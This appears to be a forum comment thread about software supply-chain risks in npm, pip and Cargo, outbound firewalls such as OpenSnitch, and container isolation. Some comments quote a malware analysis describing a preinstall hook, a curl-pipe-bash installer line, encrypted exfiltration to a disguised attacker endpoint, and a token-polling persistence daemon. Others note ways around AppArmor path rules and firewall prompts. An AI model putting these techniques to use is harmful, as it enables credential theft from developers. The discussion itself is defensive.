As more and more languages get "package managers", there's an expectation that installing what should just be inert package/library code should not run commands. Sometimes generated files are needed, and the direction seems to be that these package managers should be like distro package managers, where they take the risk of running the build instructions and generate those files for you, serving up os/architecture-specific builds.
This is the direction npm ought to take, and furthermore shouldn't allow things like electron being a small bundle of javascript code that fetches large lumps of binary code from somewhere else on the internet to install. It should all be uploaded to, and sourced from, NPM.
Yes, and these are positive changes. But they aren't security boundaries, and they don't mean that pip won't execute arbitrary code: a malicious update could ship an update with sdist instead of wheels, a malicious pyproject.toml could provide an arbitrary-code `build-backend`, etc., and pip would still function as designed.
I appreciate the clarifications/corrections on PHP.
> Which most people don't install directly, but have already had built for them by their distro.
Yes, but the original claim was that npm is "particularly susceptible to these attacks" because "npm can execute code after install and most package managers don't do that." I don't think that's accurate: we've seen hundreds of NPM packages compromised in multiple high-profile attacks over the last several months, while .tar.gz was used for decades with nowhere near the same number of compromises.
Rather, I suspect it's a combination of factors: Early JS had a relatively anemic standard library in the early days, and NPM made code reuse dramatically simpler than before. This normalized the use of large and deep dependency trees among JS projects. And the extreme popularity of JS, the centralization of NPM + GitHub, and increased usage of automation makes attacks more practical and more lucrative.
Taking a step back from that particular debate, I'm very much in favor of changes like what you describe.
Taking still another step back, I'm not sure that even those will be enough. If I download a package, it's because I intend to run its code at some point: if it's malicious, I may be less automatically hosed than if its postinstall script runs, but I'm still hosed at execution time. I trust my distro packages, not because they don't execute arbitrary code on installation (RPMs and .debs both do), but because I _trust my distro_. NPM et al. simply cannot vouch for every package they host.
Thanks for the reply!
Couldn't you accomplish the same thing by adding a malicious [build-system] to a pyproject.toml file? You can pull in arbitrary code by providing exact URLs for requirements:
[build-system]
requires = ["hatchling @ https://files.pythonhosted.org/packages/8f/8a/cc1debe3514da292094f1c3a700e4ca25442489731ef7c0814358816bb03/hatchling-1.27.0.tar.gz"]
build-backend = "hatchling.build"Technically true, but wheels can include a `.pth` which will run arbitrary code as soon as Python is started, which is only marginally less dangerous. Recently exploited in the LiteLLM attack.
(For non Rustaceans: "Placing a file named build.rs in the root of a package will cause Cargo to compile that script and execute it just before building the package.")
I get the need for simple ways to make ecosystem inviting to the new developers. However, I think Cargo was completely mis-designed for simplicity only, where a system language like Rust should shine in its ability to control complexity. With the bad initial design, they invented hacky solutions like build.rs which speaks a string-based language to talk with Cargo!
On top of that crates.io is completely ripe for typosquatting and package overtakes. I think the ecosystem should be completely revamped to a Maven-style namespaced repos and it should require strong GPG signatures.
If there are people who focus more on chatgpt "style" of writing, rather than what the message is conveying, frankly, I don't care.
These things are here, they are here to say, and expand into a lot more domains.
In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.
> preinstall script: bun run index.js
> Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)
> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability
> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL
This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.
Yep, exactly. Reject by default, with reasonably judicious always-allow rules.
from one step process, this will become universally usable two step process
Correct in general that it doesn't protect against stuff like that. But this whitelisting is done per-command (in this case, the whitelisting is scoped to the node executable). I've had no need to allow node access to Git in the first place, so no problem there.
> Unless you have to accept every time an app posts or requests data from known hosts?
OpenSnitch doesn't have access to application-level information, so it has no concept of "post" or "request." It's got DNS names, layer 3 info, layer 4 info, and other such things that are visible to the kernel. Your rules get matched to network traffic based on these various properties.
https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...
I'm not sure I agree/understand. If you've somehow bypassed AppArmor and cgroup mechanisms then any UID/GID remapping is irrelevant. At this point you're in a position to directly manage memory.
What do you mean by "kernel escape"?
Not really, user namespaces (despite all of the issues that unprivileged user namespaces have caused) provide an additional layer of protection as lots of privilege checks are either based on kuid/kgid or are userns-aware. These are some of the deepest security models that Linux has (in the sense that every codepath that involves operating on kernel objects involves a kuid/kgid check and possibly a capability check), so making full use of them is fairly prudent. The vast majority of container breakouts reported over the past decade were complete non-issues or very limited impact if you used user namespaces.
AppArmor is not a particularly strong security boundary (it's better than nothing, but there are all sorts of issues with having path-based policies and so they mostly act as final layer of defence against dumb attacks). cgroups are mostly just resource limits, but the devices cgroup (and devices eBPF filter) are are security barrier that prevent obviously bad stuff like direct write access to your host drive. However, those are not the only kinds of protections we need or use in containers, and breaking just those is not enough to "directly manage memory" (but /dev/kmem is inaccessible to user namespaced processes so if that is something you're worried about, user namespaces are another good layer of defence ;)).
It should also be noted that LXC is not the only runtime to support this, the OCI ecosystem supports this too and has for quite a long time now (and the latest release of Kubernetes officially supports isolated user namespaces). Most of my container runtime talks in the past decade have had a slide telling people to use user namespaces but sadly they are not widely used yet.
On the topic of whether containers are a security boundary, I consider them to be fairly secure these days if you use reasonable defaults (user namespaces, reasonable seccomp rules, ideally non-root inside the container). The main reason we struggle in ways that BSD Jails and Solaris Zones do not is because containers on Linux require putting together a lot of disparate components and while this does mean that you can harden non-container programs using them, it opens the door to more bugs. If we had a way to consolidate more operations and information in-kernel things would be much easier to secure (one perennial issue is that of the inatomicity of switching to the container security zone).
(Disclaimer: I am a maintainer of runc.)
I've been reading up on them (https://www.kernel.org/doc/html/latest/filesystems/idmapping...) seeing some of the notation for user IDs (e.g. `u20000`) reminded me that my Hetzner ZFS storage was accessed using a similar UID format for the username.
Also, if the container has access to dbus, one can try to exploit multiple services listening on dbus.
We could then add the philosophical question of asking what's the difference between:
1. Adding malicious code to a package's .pth file that's evaluated automatically on every python invocation
2. Adding malicious code to the package itself that's evaluated automatically on every python invocation _that uses that package_
Packaging systems that don't run arbitrary code when you install a package are more trustworthy than ones that do, but there's still the essential trust you have to place in all code you're installing, directly and indirectly.
But for the time being, the common entry vector is clear:
https://github.com/evilsocket/opensnitch/discussions/1119
> 2) trigger a tab open to attacker's website
be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.
Still doesn’t negate the value of OpenSwitch, since the majority of malware won’t do that. But really good to keep in mind.
Funnily enough that is a good example of how fickle AppArmor's protections are -- if you give containers mount privileges (needed to enable container nesting and most system container usecases) you can bypass most (if not all) AppArmor path rules because you can create alternative mounts that don't match the ones in the rules. With the fsopen(2) and open_tree(2) mount APIs, it's even easier -- AppArmor uses d_path to compute the path for policy purposes but detached mounts for procfs do not have a /proc prefix in their d_path form!
My general impression is SELinux is better as it applies to objects directly, but we've had security issues with it too.
This always seems like a very convenient excuse. C also have a very small standard library. And unless you're doing system programming, you often have to find utility library. It's just that those libraries tries to solve their domain instead of splitting themselves into molecules. Before npm, we had good js libraries too like jQuery as a fundamental one, backbone.js, dropzone.js,... where you import a few files (and vendor them in your project) and be done with it.
The issue with NPM is that it led to the creation of weird ecosystem like babel, webpack, eslint,... where instead of having a good enough solution, it was plugins ad infinitum. And other maintainers started doing the same thing, splitting their libraries, and writing libraries where a gist or a blog post would be enough[0]. Cargo is suffering the same[1]
[0]: https://github.com/Rob--W/proxy-from-env/blob/master/index.j...
[1]: https://docs.rs/is_executable/latest/src/is_executable/lib.r...